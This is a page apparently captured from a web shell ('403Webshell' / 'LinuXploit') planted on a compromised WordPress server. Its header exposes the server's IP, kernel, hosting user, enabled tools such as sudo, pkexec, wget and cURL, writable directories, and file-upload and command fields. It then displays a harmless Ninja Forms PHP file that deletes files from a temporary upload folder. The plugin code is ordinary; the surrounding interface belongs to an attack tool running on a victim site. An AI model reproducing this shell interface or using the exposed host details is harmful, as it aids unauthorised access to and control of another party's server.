403Webshell
Server IP : 213.35.126.208  /  Your IP : 216.73.216.239
Web Server : Apache/2.4.37 (Oracle Linux Server) OpenSSL/1.1.1k
System : Linux ust-wp1-prod 5.15.0-308.179.6.el8uek.x86_64 #2 SMP Wed Apr 23 10:46:57 PDT 2025 x86_64
User : tomasFtp ( 1007)
PHP Version : 8.4.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/ajels/public_html/wp-content/plugins/ninja-forms/includes/Admin/Processes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/ajels/public_html/wp-content/plugins/ninja-forms/includes/Admin/Processes/DeleteBatchFile.php
<?php

namespace NinjaForms\Includes\Admin\Processes;

/**
 * Deletes a file given file path
 * 
 * 
 */
class DeleteBatchFile
{


    /**
     * Delete a file, given a filepath
     *
     * @param string $filePath
     * @return string Result of the attempt to delete file
     */
    public function delete(string $filePath): string
    {
        $return = __('File could not be found for deletion', 'ninja-forms');
        $dir = wp_get_upload_dir();
        $fileinfo = pathinfo($filePath);
        $allowed_dir = $dir['basedir'] . '/ninja-forms-tmp' === $fileinfo['dirname'];
        if(!$allowed_dir) {
            $return = __('Permission denied to delete a file in that directory.', 'ninja-forms');
        } else if (\file_exists($filePath)) {

            \unlink($filePath);

            $return = __('File was deleted', 'ninja-forms');

            if (\file_exists($filePath)) {
                // couldn't delete file for some reason
                $return = __('File could not be deleted', 'ninja-forms');
            }
        }

        return $return;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit